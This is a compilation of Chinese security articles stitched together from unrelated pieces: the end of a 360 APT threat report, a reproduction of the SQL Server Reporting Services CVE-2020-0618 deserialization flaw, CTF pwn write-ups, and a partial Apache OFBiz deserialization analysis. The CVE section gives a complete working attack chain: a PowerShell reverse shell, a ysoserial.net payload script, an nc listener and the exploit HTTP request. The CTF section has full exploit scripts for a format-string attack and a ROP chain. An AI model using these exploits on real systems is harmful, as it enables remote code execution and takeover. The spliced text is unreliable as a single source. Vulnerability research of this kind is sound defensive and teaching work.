此外，海莲花、APT34等组织都采用了DGA算法来逃避检测。目前来看，使用机器学习的方法对其进行检测还是一个不错的方法。
### 移动端的安全问题日益凸显
2017年，iOS9.3.5更新修补了三个安全漏洞，即三叉戟漏洞，随后Citizen Lab发布文章指出这三个0day被用于针对特殊目标远程植入后门。
2016年，360就发布了关于APT-C-15（人面狮）的报告。2017年12月Trend
Micro发布报告称在一些应用商店中发现了带有网络间谍功能的恶意应用。基于AnubisSpy和Sphinx恶意软件的文件结构之间的相似性、解密json文件使用的相似的技术、共同的C2服务器和相似的目标群体，趋势科技认为其与APT-C-15的人面狮行动有关。
此外，前面的分析中也提到了Lazarus使用移动端恶意软件进行攻击。360威胁情报中心在2017年至2018年初先后披露的双尾蝎组织（APT-C-23）和黄金鼠组织（APT-C-27），也都把移动端作为了重要攻击目标。Trend
Micro随后发布的博客还进一步披露了双尾蝎（APT-C-23）使用的移动恶意软件VAMP的一个新变种。
传统的APT行动主要是针对Windows系统进行攻击，而现今由于Android和iOS的发展带动了智能终端用户量的上升，从而导致黑客组织的攻击目标也逐渐转向移动端。对于移动平台来说，持久化和隐藏的间谍软件是一个被低估的问题。尽管移动设备上的网络间谍活动与台式机或个人电脑中的网络间谍活动相比可能少得多，攻击方式也不太一样，但它们确实发生了，而且可能比我们认为的更活跃。
### 针对金融行业的攻击手段多样化
针对金融行业的攻击一直是APT的重点目标。比如FIN7就是一个典型的经常攻击金融行业的APT组织。近年来，除了传统的鱼叉邮件等攻击手段外，还会有APT组织攻击ATM取款机，让其定时吐钱。2017年卡巴斯基的一篇报告指出针对ATM的恶意软件正在黑市上售卖。2016年7月，我国台湾地区的台湾第一银行旗下20多家分行的41台ATM机遭遇黑客攻击，被盗8327余万新台币，目前该案已经破获，抓获犯罪嫌疑人并追回大部分被盗款项。
2017年，加密货币热度的持续攀升不仅仅使得勒索软件和挖矿木马蠢蠢欲动，APT组织也盯上了这块蛋糕。FireEye在2017年就发了一篇文章：《Why Is
North Korea So Interested in
Bitcoin?》，认为国家支持的组织试图窃取虚拟货币，做为逃避国际社会制裁的手段。FireEye认为，2017年朝鲜对韩国的加密货币进行了一系列的攻击；Secureworks也表示Lazarus对伦敦一家加密货币公司展开鱼叉攻击；Proofpoint的报告也详细描述了Lazarus团伙的经济动机。
此外，俄罗斯总统普京的顾问宣布筹集资金计划，以增加俄罗斯在比特币市场中的份额；澳大利亚议会的参议员也提议发展自己国家的加密货币。虽然目前有些地区的APT组织从事金融犯罪方面的特征明显，但是这种独特性可能不会持续很长时间，因为其它国家可能会对这方面的攻击产生兴趣。
### APT已经影响到每一个人的生活
APT攻击和APT组织已经开始影响到我们每一个人的生活。APT攻击一般是针对重要的组织或个人，然而2017年APT28就针对酒店行业这种传统行业进行了攻击。
席卷全球的WannaCry和类Petya背后似乎也隐隐约约有APT的影子。Google的研究员发现，2017年2月的一个疑似WannaCry的早期版本和Lazarus的样本之间具有一定的相似性。
ESET和卡巴斯基也怀疑类Petya的幕后黑手可能是BlackEnergy，类Petya加密的文件扩展名的列表与2015年BlackEnergy的KillDisk勒索软件非常相似。
列表在组成和格式上是相似的，但不完全相同。而且，BlackEnergy老版本有更长的列表。虽然这并不是确凿的证据，但是类Petya被多家安全机构认为目的在于破坏而不是勒索。背后的组织目的并不是金钱，这就非常耐人寻味了。
## APT活动与网络空间大国博弈
在传统的认知中，APT活动应该是比较隐蔽的，通常不易被察觉。但在2017年，APT组织及其活动，则与网络空间中的大国博弈之间呈现出很多微妙的显性联系。这种联系主要表现在以下五个方面：
* ### APT行动与国家间的政治摩擦密切相关
360威胁情报中心的监测显示，在2017年，某些具有极强的国别针对性的APT组织，在相关国家之间处于比较激烈的政治和军事摩擦时，其网络攻击活动也处于异常活跃的状态。其中，双尾蝎、黄金鼠和摩诃草等组织在2017年的攻击活动都呈现出这样的特点。
* ### APT行动对于地缘政治的影响日益显著
2016年底进行的美国大选，以及希拉里和美国民主党全国委员会（DNC）的邮件门事件，使公众第一次见证了APT攻击对地缘政治，乃至国家政权的深刻影响。美国作为世界第一强国，互联网第一强国，却成为世界上第一个明确因受APT攻击而直接影响大选结果的“受害国”。
2017年5月，ESET，FireEye等安全机构发布报告称发现APT28干扰法国总统大选，对法国大选候选人马克龙等发动鱼叉邮件攻击，其中还同时使用到了Office和Windows的0day漏洞。仅就攻击技术的复杂度和先进性而言，针对法国大选的攻击活动要比美国大选的邮件门事件高出了几个层次。
也许在未来几年，西方国家的大选活动遭到APT攻击将不再是新闻，而是逐渐成为司空见惯的常事。要是某个西方国家的大选活动没有遭到任何网络攻击，那很可能只是说明了该国家在国际政治舞台上并不重要。
* ### 指责他国的APT活动已成重要外交手段
朝鲜政府2017年与美国的关系十分紧张，一度双方口水战甚至扬言要兵戎相见，而且半岛南北政府之间关系也十分微妙，加上周边国家地缘政治十分复杂，让这一地区的APT活动蒙上了更加隐秘的色彩。
2017年5月， WannaCry病毒刚刚爆发，就有研究机构声称是朝鲜“制造”了这起大规模的网络破坏活动，但遭到了朝鲜政府的断然否认。
2017年10月和12月，英国政府和美国政府再次明确指称是朝鲜制造了WannaCry病毒，似乎是坐实了要把锅扣在Lazarus的头上。2017年12月22日，朝鲜外交部针对WannaCry
事件作出回应称：“美国这一举动属于严重的政治挑衅，目的是妖魔化朝鲜，从而促使国际社会对朝鲜进行对抗。”虽然美国政府宣称已经获得了证据，但目前仍未公开任何实质性证据。
当然，也有媒体认为：如果朝鲜真的是站在永恒之蓝勒索蠕虫背后的那个国家，那么它通过比特币勒索病毒筹集的资金还不到10万美元。
不论WannaCry病毒的制造者到底是谁，针对WannaCry的研究与分析，已经明显的成为了某些国家外交博弈的重要棋子。
* ### 部分机构选择在敏感时期发布APT报告
2017年11月10日，第二十五届APEC会议在越南成功举办。会议汇聚了太平洋两岸21个经济体，这些国家的经济总量占全球GDP的60%。开幕式上包括中国国家主席、美国总统、俄日首脑等在内的众多领导人参会。APEC在世界的影响力也非常高，同样在南亚地区的影响力能在一定程度上和“一带一路”形成联动效应。
然而，就在2017年第三季度，大家都在关注APEC会议的筹备之时，活跃于东南亚地区的APT组织海莲花也被国外网络安全机构盯上，接连曝出该组织攻击行动中使用的若干样本，以及被攻击的关键信息基础设施。
到2017年11月初，就在APEC即将召开之际，美国华盛顿地区的一家安全机构发布了一篇关于疑似海莲花 APT
团伙新活动的报告。该报告指出，海莲花组织攻击了与政府、军事、人权、民主、媒体和国家石油勘探等有关的个人和组织的 100 多个网站。
* ### APT组织针对国家智库的攻击显著增多
在当前国际地缘政治格局中，智库通常在政策制定、策略研究等方面扮演重要角色，也和国家政治高层来往密切，因此也成为众多APT组织尝试渗透和攻击的重要目标之一，尤其是关注政治决策、政策动向的APT组织。
2016年9月，美国军事话题新闻网站Defense
One报道称，俄罗斯黑客组织APT29设法入侵多个华盛顿智库，包括著名的CSIS（战略与国际问题研究中心）。CSIS作为美国强硬派华盛顿智库，是一个独立于政党之外的研究组织，经常会给美国总统或政府提供重大、前沿问题的研究报告，对美国制定相关政策产生关键影响。
据报道， APT29或COZY BEAR，还攻击了重点关注和研究俄罗斯问题的智库团体或机构，除了CSIS，还包括哈佛大学贝尔弗科学中心等。
事实上，2011年美国安全智库Strategic
Forecasting（Stratfor）的官网就遭受过黑客攻击。2012年10月，美国国会议员罗杰斯（Mike
Rogers）表示，在最近一波针对美国政府和机构的“网络谍战”中，美国智库成为重灾区。
2017年以来，针对智库攻击的APT活动再次增多。根据影子经纪人公布的美国方程式组织的资料文档中，中国.cn域名遭到的攻击最多，其中包括清华大学、中国科学院等著名智库机构都是方程式组织重点攻击的目标。预计未来，随着国际政治的演变更加复杂化，各个政府对研究机构、政策智库的依赖也将加大，APT组织针对各个国家的智库的攻击会越来越多。
## 附录1 部分APT研究报告发布机构列表
2017年360威胁情报中心监测全球46个专业机构（含媒体）发布的各类APT研究报告104份，涉及相关APT组织36个。下表给出了部分专业机构及其发布报告数量列表。由于涉及厂商众多，难免有所遗漏，敬请谅解。
**厂商国家** | **发布厂商** | **报告数量** | **涉及APT** **组织数**
---|---|---|---
**美国** | PaloAlto | 7 | 4
FireEye | 5 | 5
McAfee | 4 | 3
Proofpoint | 4 | 3
Cisco | 2 | 2
FBI & DHS | 2 | 2
Symantec | 2 | 2
US-CERT | 2 | 2
Dell SecureWorks Counter Threat Unit (CTU) | 2 | 1
Fortinet | 2 | 1
Microsoft | 2 | 3
Trustwave | 1 | 1
Forcepoint（原名Websense） | 1 | 1
ZDNet | 1 | 1
Lookout | 1 | 1
ThreatConnect | 1 | 1
Riskiq | 1 | 1
ARBOR | 1 |
SecureWorks | 1 | 1
Fidelis | 1 | 1
Softpedia | 1 | 1
SecurityWeek | 1 | 1
The Hacker News | 1 | 1
The Intercept | 1 | 1
**中国** | 360 | 11 | 6
微步在线 | 3 | 3
安天 | 2 | 2
腾讯 | 2 | 1
**俄罗斯** | Kaspersky | 7 | 2
Group-IB | 1 | 1
**以色列** | Morphisec | 2 | 1
ClearSky | 1 | 1
Haaretz | 1 | 1
Cybereason | 1 | 1
**斯洛伐克** | ESET | 4 | 2
**荷兰** | ReaQta | 2 | 2
Redsocks | 1 | 1
Fox-IT | 1 | 1
**英国** | Reuters（路透社） | 1 | 1
TheRegister | 1 | 1
PwC UK 和 BAE Systems | 1 | 1
IBTimes | 1 | 1
**罗马尼亚** | Bitdefender | 3 | 3
**芬兰** | F-Secure | 1 | 1
**跨国机构** | Trend Micro | 8 | 8
表6 国内外专业机构对部分知名APT组织活动的披露情况
## 附录2 360威胁情报中心
360威胁情报中心由全球最大的互联网安全公司奇虎360特别成立，是中国首个面向企业和机构的互联网威胁情报整合专业机构。该中心以业界领先的安全大数据资源为基础，基于360长期积累的核心安全技术，依托亚太地区顶级的安全人才团队，通过强大的大数据能力，实现全网威胁情报的即时、全面、深入的整合与分析，为企业和机构提供安全管理与防护的网络威胁预警与情报。
360威胁情报中心对外服务平台网址为https://ti.360.net/。服务平台以海量多维度网络空间安全数据为基础，为安全分析人员及各类企业用户提供基础数据的查询，攻击线索拓展，事件背景研判，攻击组织解析，研究报告下载等多种维度的威胁情报数据与威胁情报服务。
微信公众号：360威胁情报中心
关注二维码：
## 附录3 360天眼实验室（SkyEye Labs）
360天眼实验室（SkyEye
Labs）正式成立于2014年1月，是360公司旗下专门利用大数据技术研究未知威胁的技术团队。该实验室依托360公司多年来积累的海量多维度安全大数据和数据挖掘技术，实现对全网未知威胁的发现、溯源、监测和预警，及时准确地为客户提供安全检测和防护设备所需要的威胁情报。
360天眼实验室同时也是360各类大数据安全分析产品及解决方案的研发中心。实验室成立以来，以先后研发了包括360新一代威胁感知系统，360态势感知与安全运营平台在内的多套国内领先的大数据安全分析系统。同时，360天眼实验室研发的大数据分析产品还可与360推出的各类企业安全防护产品进行协同联动，从而实现数据驱动的协同防御。
**360天眼实验室研发的部分大数据安全分析产品简介**
360新一代威胁感知系统，是360天眼实验室研发的国内首套基于大数据的高级威胁定位与发现分析系统。该系统通过对本地流量的全量还原、存储与深度分析，将本地流量、文件及终端日志，与360云端威胁情报中心推送的专属威胁情报相结合，实现了对未知威胁与高级攻击的快速发现，精准定位和攻击溯源。该系统目前已广泛应用于政府、金融、能源、运营商等多个关键基础设施领域，并已在实践中捕获了多起重大APT攻击事件。
360态势感知与安全运营平台，是360天眼实验室研发的，面向政府、金融、能源等大中型企事业单位的综合安全事件分析与全局安全态势感知系统，简称NGSOC。该系统不仅具备传统SOC系统的内网信息综合监控与管理能力，同时还首次在SOC系统中引入了威胁情报技术与本地大数据分析引擎，从而使该系统能够实现各类安全数据的快速汇集、深度关联，以及自动化的高级智能分析，能够对企业内网系统实现持续的安全监测、快速响应、事件调查及安全态势感知，并能够联动NDR，EDR，进行快速协同响应处置。同时，系统可通过图形化、可视化技术将威胁和异常的总体安全态势用最直观的方式展现给用户，有利于业务管理者迅速做出判断和决策。
## 附录4 360追日团队（Helios Team）
360 追日团队（Helios
Team）是360公司高级威胁研究团队，从事APT攻击发现与追踪、互联网安全事件应急响应、黑客产业链挖掘和研究等工作。团队成立于2014年12月，通过整合360公司海量安全大数据，实现了威胁情报快速关联溯源，独家首次发现并追踪了三十余个APT组织及黑客团伙，大大拓宽了国内关于黑客产业的研究视野，填补了国内APT研究的空白，并为大量企业和政府机构提供安全威胁评估及解决方案输出。
联系方式
邮箱：[[email protected]](mailto:[email protected])
微信公众号：360追日团队
扫描右侧二维码关微信公众号
## 附录5 360 CERT
##
360CERT 全称“360 Computer Emergency Readiness
Team”，致力于维护计算机网络空间安全，是360公司基于“协同联动， 主动发现， 快速响应”
的指导原则，对重大网络安全事件进行快速预警、应急响应的安全协调团队。
联系方式
官网：<https://cert.360.cn/>
微信公众号：360CERT
## 附录6 360安服团队
[](https://scanlib2.sec.shgt.qihoo.net:8360/?attachment_id=99007)
360安服团队汇集国内知名安全专家，在网络攻防以及攻击溯源方面有着丰富的经验。
360安服团队创新性地提出基于数据驱动的安全服务运营理念：以安全数据为基础，使用安服专业分析工具，结合云端数据及专家诊断，为客户提供事前，事中，事后全周期的安全保障服务。
360安服团队参与了多次知名APT事件的分析溯源工作，参与了国内重大活动安全保障工作超过50次，参与APEC、G20、两会、纪念抗战胜利70周年阅兵、首届丝绸之路（敦煌）国际文化博览会等重大活动安全保障工作，并屡获客户认可及感谢信。 | 社区文章 |
# CVE-2020-0618 复现&分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞复现
环境：
* Windows 10
* SQL Server 2016（需安装 Reporting Services 模块）
在复现之前我们需要手动创建一个分页报表，如何创建报表本文不再赘述
这里我创建了一个名为 test 的分页报表
SQL Server 安装完毕后服务就已经自动启动
访问 <http://localhost/ReportServer> 就可以看到 Reporting Services 已经启动：
点击 test 可以看到创建好的报表：
漏洞的路径为 /ReportServer/Pages/ReportViewer.aspx
所以访问
[http://localhost/ReportServer/Pages/ReportViewer.aspx：](http://localhost/ReportServer/Pages/ReportViewer.aspx%EF%BC%9A)
在 ReportViewer.aspx 中存在反序列化漏洞，可以进行反弹 shell
Powershell 反弹 shell 的脚本如下：
$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1", 8888); #开启TCP连接
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0}; #建立一个长度为65535的byte数组作为buffer，初值都设为0
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { #当收到数据长度不等于零时进行循环
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); #得到shell命令
$sendback = (iex $data 2>&1 | Out-String); #执行命令，并把标准输出和标准错误输出都转为字符串存储在$sendback
$sendback2 = $sendback + "PS " + (pwd).Path + "> "; #加上目录
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); #把$sendback2转为byte数组
$stream.Write($sendbyte, 0, $sendbyte.Length); #发送数据
$stream.Flush(); #刷新
}
$client.Close(); #关闭连接
用 Powershell 写出 POC 脚本
使用了 ysoserial.net 工具生成序列化 payload，并复制到剪贴板
ysoserial.net 的下载地址在：<https://github.com/pwntester/ysoserial.net>
POC 如下：
$command = '$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip
echo 'Payload is pasted to clipboard.'
这时使用 nc 监听本地 8888 端口：
nc -lvp 8888
需要发送以下 HTTP 请求来进行攻击：
POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X
NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[Payload]&__VIEWSTATE=
这里使用 Postman 发送 POST 请求（需要在 Authorization 处进行 NTLM 验证）
即可得到 shell：
## 漏洞分析
### 前置知识
网页使用的是 ASP.NET 技术
ASP.NET 支持三种不同的开发模式：Web Pages、MVC、Web Forms
使用 Web Forms 模式时会自动启用 ViewState 来保留表单数据
通常使用 LosFormatter 来序列化和反序列化 ViewState
而这个页面使用的就是 Web Forms 模式
漏洞就是 LosFormatter 反序列化引起的命令执行
### 源代码分析
#### 前端
ReportViewer.aspx 页面的源代码如下：
<div id="NavigationCorrector" style="display:none;">
<input type="hidden" name="NavigationCorrector$ScrollPosition" id="NavigationCorrector_ScrollPosition" />
<input type="hidden" name="NavigationCorrector$ViewState" id="NavigationCorrector_ViewState" />
<input
type="hidden"
name="NavigationCorrector$PageState"
id="NavigationCorrector_PageState"
value="NeedsCorrection"
/>
<div id="NavigationCorrector_ctl00">
<input type="hidden" name="NavigationCorrector$NewViewState" id="NavigationCorrector_NewViewState" />
</div>
</div>
其中有四个 type 为 hidden 的 input
他们的 name
分别是`NavigationCorrector$ScrollPosition`、`NavigationCorrector$ViewState`、`NavigationCorrector$PageState`、`NavigationCorrector$NewViewState`
所以我们才可以传入`NavigationCorrector$ViewState` 和 `NavigationCorrector$PageState`
参数来实现命令执行
那么为什么在网页中会出现这些隐藏的 input 呢，我们来看后端的代码
#### 后端
漏洞文件是 ReportingServicesWebServer.dll
在 SQL Server 的安装目录中可以找到
使用 .NET Reflector 来反编译 ReportingServicesWebServer.dll
其中漏洞函数是 Microsoft.Reporting.WebForms.BrowserNavigationCorrector.OnLoad 方法
在搜索框里搜索就能定位到这个方法
方法的源代码如下：
protected override void OnLoad(EventArgs e)
{
base.OnLoad(e);
this.EnsureChildControls();
if (this.Page.IsPostBack && string.Equals(this.m_pageState.Value, "NeedsCorrection", StringComparison.Ordinal))
{
string str = this.m_viewerViewState.Value;
if (!string.IsNullOrEmpty(str))
{
LosFormatter formatter = new LosFormatter();
object viewState = null;
try
{
viewState = formatter.Deserialize(str);
}
catch (Exception exception1)
{
object[] objArray = new object[] { str, exception1.ToString() };
RSTrace.get_UITracer().TraceException(TraceLevel.Warning, "Failed to rebuild the custom ViewState object. \n- Serialized ViewState: \"{0}\". \n- Exception: {1}", objArray);
}
if (viewState != null)
{
((IPublicViewState) this.m_viewer).LoadViewState(viewState);
}
}
}
}
可以看到在方法的一开始先调用了 EnsureChildControls 方法
双击函数名进行跟进：
protected virtual void EnsureChildControls()
{
if (!this.ChildControlsCreated && !this.flags[0x100])
{
this.flags.Set(0x100);
try
{
this.ResolveAdapter();
if (this._adapter != null)
{
this._adapter.CreateChildControls();
}
else
{
this.CreateChildControls();
}
this.ChildControlsCreated = true;
}
finally
{
this.flags.Clear(0x100);
}
}
}
可以看出这个函数是的功能是确保 ChildControls 开启
而开启需要调用 CreateChildControls 方法
再次双击函数名跟进：
protected override void CreateChildControls()
{
this.Controls.Clear();
base.CreateChildControls();
this.m_scrollPosition = new HiddenField();
this.m_scrollPosition.ID = "ScrollPosition";
this.Controls.Add(this.m_scrollPosition);
this.m_viewerViewState = new HiddenField(); //定义隐藏控件
this.m_viewerViewState.ID = "ViewState";
this.Controls.Add(this.m_viewerViewState);
this.m_pageState = new HiddenField();
this.m_pageState.ID = "PageState";
this.Controls.Add(this.m_pageState);
this.m_updatePanel = new UpdatePanel();
this.Controls.Add(this.m_updatePanel);
this.m_asyncPostBackViewState = new HiddenField();
this.m_asyncPostBackViewState.ID = "NewViewState";
this.m_updatePanel.ContentTemplateContainer.Controls.Add(this.m_asyncPostBackViewState);
}
像 `this.m_viewerViewState = new HiddenField();` 这样的语句定义了
m_viewerViewState、m_pageState 等隐藏控件
这就是为什么网页里会出现隐藏的 input
再回到漏洞函数：
protected override void OnLoad(EventArgs e)
{
base.OnLoad(e);
this.EnsureChildControls();
//如果m_pageState（即传入的NavigationCorrector$PageState参数）的值为NeedsCorrection则向下执行
if (this.Page.IsPostBack && string.Equals(this.m_pageState.Value, "NeedsCorrection", StringComparison.Ordinal))
{
//定义str为m_viewerViewState（即传入的NavigationCorrector$ViewState参数）的值
string str = this.m_viewerViewState.Value;
if (!string.IsNullOrEmpty(str))
{
//实例化一个LosFormatter对象
LosFormatter formatter = new LosFormatter();
object viewState = null;
try
{
//对传入的NavigationCorrector$ViewState参数直接进行反序列化
viewState = formatter.Deserialize(str);
}
catch (Exception exception1)
{
object[] objArray = new object[] { str, exception1.ToString() };
RSTrace.get_UITracer().TraceException(TraceLevel.Warning, "Failed to rebuild the custom ViewState object. \n- Serialized ViewState: \"{0}\". \n- Exception: {1}", objArray);
}
if (viewState != null)
{
((IPublicViewState) this.m_viewer).LoadViewState(viewState);
}
}
}
}
好了，漏洞函数的漏洞是如何产生的已经搞清楚了
那么看看这个函数在哪里被调用了
BrowserNavigationCorrector 类在
Microsoft.ReportingServices.WebServer.ReportViewerPage 类的 OnInit 方法中被调用：
protected override void OnInit(EventArgs e)
{
base.OnInit(e);
ReportViewerHost reportViewer = this.ReportViewer;
reportViewer.EnableHybrid = this.ShowHybrid;
if (reportViewer != null)
{
PageRequestManagerErrorHandler child = new PageRequestManagerErrorHandler();
reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child);
BrowserNavigationCorrector corrector = reportViewer.CreateNavigationCorrector();
reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), corrector);
}
}
而这个类就是处理 ReportViewer.aspx 页面的
所以在 ReportViewer.aspx 中出现了漏洞
而且是 OnInit 方法，页面中的调用顺序也是最高的
## 后续补丁
微软在后续补丁中开启了 LosFormatter 的 MAC 验证来修复该漏洞
将漏洞函数的这一语句：
LosFormatter losFormatter = new LosFormatter();
改为：
LosFormatter losFormatter = new LosFormatter(true, this.m_viewer.GetUserId());
在微软的官方文档里可以看到 LosFormatter 类的构造函数的不同使用方法：
第一种是默认的不开启 MAC 验证
而第二三种开启了 MAC 验证 | 社区文章 |
## blind-format-pwn
题目感觉还是比较有借鉴价值的一个format-pwn，因为是第一次做盲pwn的题。比赛题目是周末的南宁市的一个网络安全竞赛，个人感觉就这一个题值得一看。
#### 测试
不知道题目是什么歌情况所以会借一些常见的漏洞进行测试，比如格式化字符串啊，栈溢出什么的，除了这些肯定盲pwn基本是出不了什么。
这里我对这两个点进行了一个测试，格式化字符串很明显的就出来了，还有一个栈溢出我测试了0x10000字符估计是没有了。
#### 分析
一个盲pwn的题，思路一定要清晰，一个格式化字符串有哪些可以利用：
一、对二进制文件进行一个dump需要注意的是，32位是0x8048000开始这里会有elf头，当然是在没有pie的情况下，如果是64位就会从0x400000开始。dump的规则和脚本在ctf-wiki上有，这里就不进行具体的分析了，每次使用只需要改变一些参数就可以。
二、直接硬上，不停泄漏地址然后进行一个半猜式的做题。
#### 地址泄漏
这里我尝试过进行一个地址的dump但是没有成功所以就只能硬上了，感谢lm0963师傅的教导，进行了一个地址的爆破
from pwn import*
context.log_level = 'debug'
for i in range(0,500):
p.sendline("%"+str(i)+"p")
p.interactive()
手动进行一波观察爆破
当然这个地址之前也有很多很像的，只是我选中了这个地址，把所给的libc拖进ida，然后对比后三位发现了这个偏移，是_libc_start_main里的一个位置。这样我们就可以知道任何函数的地址。
#### 利用探索
一、我首先想到的是进行一个_malloc_hook的覆盖，因为在printf的时候会进行一个调用，也会调用free_hook，但是尝试了一下不能用。。估计是屏蔽了什么操作，覆盖got表也不行，所以只能思考其他的思路了。
二、膜lm0963师傅又是一波强力教学，我们在第一次输入%p的时候打印出的是esp+0的一个地址，这个可以自己在本地写一个差不多的程序进行一个调试，范例如下：
#include<stdio.h>
int main(){
char s;
while(1)
{
scanf("%s",s);
printf(s);
}
}
然后进行一个本地的调试，可以发现，又是lm0963师傅的思路。在这里感谢师傅。
可以发现我们的第一个参数就是esp+0，然后加上我们的测出来的参数偏移7 _4 ➕4_ 1 这个就是ret的地址来。
#### 最后思路
先进行一个libc的地址泄漏计算出libc偏移，再进行ret地址的泄漏然后利用格式化字符串进行一个地址的覆盖。这个题目中提示了用不了onegadget，所以只能system来getshell，其中/bin/sh字符串需要写在栈上。
##### exp:
from pwn import*
#context.log_level = 'debug'
p = remote( '47.106.209.151',44444)
e = ELF("./x86_libc.so.6")
pay = '%267$p'
p.sendline(pay)
libc_offset = int(p.recv(),16) - 0x18637
system = libc_offset + e.symbols["system"]
p.sendline("%p")
stack = int(p.recv(),16)
print e.search("/bin/sh").next()
bins = libc_offset +e.search("/bin/sh").next()
one = 0x3a812 + libc_offset
pay=fmtstr_payload(7,{stack-4*8:system,stack-4*6:stack+0x100},write_size='byte')
pay=pay.ljust(0x100)+'/bin/sh\0'
p.sendline(pay)
p.interactive()
#### 总结
这个题目本身还是很有可说的，因为第一次做这个blind format pwn，感觉需要思路开阔一些，敢猜，并且加一点直觉（应该都是积累出来的经验。。）
### pwn_x64
这是比赛的另一个题，总共就两个pwn很简单的一个栈溢出，然后利用write函数进行一个地址泄漏，需要注意的应该就是在泄漏时候的地址传参了。这里直接贴出了exp
from pwn import*
context.log_level = 'debug'
#p = process("./pwn_x64")
p = remote('47.106.209.151',55555)
e = ELF("./x64_libc.so.6")
#gdb.attach(p)
write_plt = 0x400450
write_got = 0x601018
pop_ROP = 0x40062e
pop_rdi = 0x0400633
pop_rsi = 0x0400631
pay = 'a'*136 +p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(write_got)+p64(0)+p64(write_plt)+p64(0x040057D)
p.recvuntil("\n")
p.sendline(pay)
libc_addr = int(u64(p.recv()[0:6].ljust(8,'\x00'))) - e.symbols["write"]
system = e.symbols["system"] + libc_addr
bins = int(e.search("/bin/sh").next()) + libc_addr
p.sendline("a"*136+p64(pop_rdi)+p64(bins)+p64(system))
p.interactive()
##### 总结
比赛很简单，适合新手练习，个人认为比较有练习价值的就是blind format pwn。 | 社区文章 |
# Apache Ofbiz RMI反序列化分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 环境搭建
代码下载：<https://archive.apache.org/dist/ofbiz/>
利用idea导入
具体搭建可参考：<https://blog.csdn.net/GOon_star/article/details/79285584>
若成功启动，控制台应该有如下呈现：
## 漏洞分析
对于rmi反序列化，官方作出了修补，修补链接：<https://github.com/apache/ofbiz-framework/commit/00200bfaca296991a6d1925423c71d74842882b0>
对比修改前后，对SafeObjectInputStream类添加了rmi类校验，将java.rmi.server纳入了黑名单，如果类名出现了java.rmi.server则告警，并返回空
### 追溯
既然对该文件进行了修补，以apache-ofbiz-17.12.05为例，我们对其进行回溯。
因为是对SafeObjectInputStream类进行的修补，我们查看在哪儿调用了SafeObjectInputStream类。
SafeObjectInputStream被UtilObject类调用，给出关键代码：
public static Object getObjectException(byte[] bytes) throws ClassNotFoundException, IOException {
try (ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
SafeObjectInputStream wois = new SafeObjectInputStream(bis)) {
return wois.readObject();
}
}
看见readobject方法，所以判断在这里进行了反序列化。
我们继续回溯，有两个类调用了getObjectException方法：分别是EntityCrypto的doDecrypt方法和UtilObject的getobject方法
我们尝试顺着UtilObject找。
getobject被多处调用，既然是请求处发送而来，我们就顺着潜在请求口去回溯
起先是跟着RequestHandler::doRequest，关键代码：
byte[] reqAttrMapBytes = StringUtil.fromHexString(preReqAttStr);
Map<String, Object> preRequestMap = checkMap(UtilObject.getObject(reqAttrMapBytes), String.class, Object.class);
......
String preReqAttStr = (String) request.getSession().getAttribute("_REQ_ATTR_MAP_");
追到这出了问题，无法进一步回溯了，转而寻找其他类，这次将类转到XmlSerializer，定位到deserializeCustom方法，取出关键代码如下：
public static Object deserializeCustom(Element element) throws SerializeException {
String tagName = element.getLocalName();
if ("cus-obj".equals(tagName)) {
String value = UtilXml.elementValue(element);
if (value != null) {
byte[] valueBytes = StringUtil.fromHexString(value);
if (valueBytes != null) {
Object obj = UtilObject.getObject(valueBytes);
if (obj != null) {
return obj;
}
}
}
throw new SerializeException("Problem deserializing object from byte array + " + element.getLocalName());
}
throw new SerializeException("Cannot deserialize element named " + element.getLocalName());
}
其实到这一步，可以解释问题那就是为什么将payload要插入到cus-obj中，以及为什么需要将payload进行hex编码：deserializeCustom取出cus-obj标签中的值，然后将其进行hex解码，将结果传给valueBytes，valueBytes再作为UtilObject.getObject的参数进行处理。
我们进一步回溯：
deserializeSingle调用了deserializeCustom，这个方法的作用概括就是对xml标签进行解析，获取各个标签的值：
继续追溯，deserialize方法调用了deserializeSingle
/** Deserialize a Java object from a DOM <code>Document</code>.
* <p>This method should be used with caution. If the DOM <code>Document</code>
* contains a serialized <code>GenericValue</code> or <code>GenericPK</code>
* then it is possible to unintentionally corrupt the database.</p>
*
* @param document the document
* @param delegator the delegator
* @return returns a deserialized object from a DOM document
* @throws SerializeException
*/
public static Object deserialize(Document document, Delegator delegator) throws SerializeException {
Element rootElement = document.getDocumentElement();
// find the first element below the root element, that should be the object
Node curChild = rootElement.getFirstChild();
while (curChild != null && curChild.getNodeType() != Node.ELEMENT_NODE) {
curChild = curChild.getNextSibling();
}
if (curChild == null) {
return null;
}
return deserializeSingle((Element) curChild, delegator);
}
deserialize方法的作用在于反序列化一个来源于dom的java对象。
然后发现SoapSerializer类调用了deserialize方法：
public class SoapSerializer {
public static final String module = SoapSerializer.class.getName();
public static Object deserialize(String content, Delegator delegator) throws SerializeException, SAXException, ParserConfigurationException, IOException {
Document document = UtilXml.readXmlDocument(content, false);
if (document != null) {
